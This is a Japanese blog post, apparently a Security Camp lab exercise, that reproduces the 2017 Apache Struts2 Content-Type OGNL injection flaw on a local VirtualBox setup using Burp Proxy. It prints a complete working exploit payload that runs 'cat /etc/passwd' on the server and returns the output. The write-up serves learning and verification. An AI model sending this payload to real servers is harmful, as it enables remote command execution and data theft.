0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

apache struts2 脆弱性の検証

Last updated at Posted at 2017-05-23

今回はセキュリティ・キャンプの課題であったapache struts2の脆弱性について実際に手を動かし実行してみたいと思います。

環境

VirtualBoxでブリッジアダプタを使用
ホスト:macOS 10.12
ゲスト:ubuntu 16.04LST
struts 2.3.20

仮想マシンにjava,tomcatなどを導入する

http://ra66itblog.hateblo.jp/entry/2016/05/05/195401
http://www.linuxmania.jp/apt-install-java.html
こちらの記事を参考にしました。

Brupproxyの設定

Burpproxyのproxy->Options->addで127.0.0.1:9999(任意)を設定する。
次にホストマシンのブラウザを先ほど作成したプロキシを通して通信するように設定を行います。

httpリクエストの改変

ブラウザのURL欄にゲストマシンのIPアドレス、ポート番号を入力します。
するとBurpproxyのinterceptタブにhttpリクエストが見えますから

Content-Type: Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

をクッキーなどを消して追加しForwardをクリックします。↑のコードではサーバーの/etc/passwdファイルがブラウザ上に表示されてしまいます!スクリーンショット 2017-05-23 18.02.13.png
java?のコードがContent-Typeに含まれているようで、サーバーのOSを調べ"/bin/bash -c cat /etc/passwd"を実行しているようです。

wiresharkでパケットキャプテャしてみての考察

セキュリティ・キャンプで配布されていたパケットファイルにはなぜかssh接続に応答するようなパケットが見られたがやはり今回の実験ではそのようなものは発見できなかった。。。

参考サイト
http://ra66itblog.hateblo.jp/entry/2016/05/05/195401
http://www.linuxmania.jp/apt-install-java.html

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?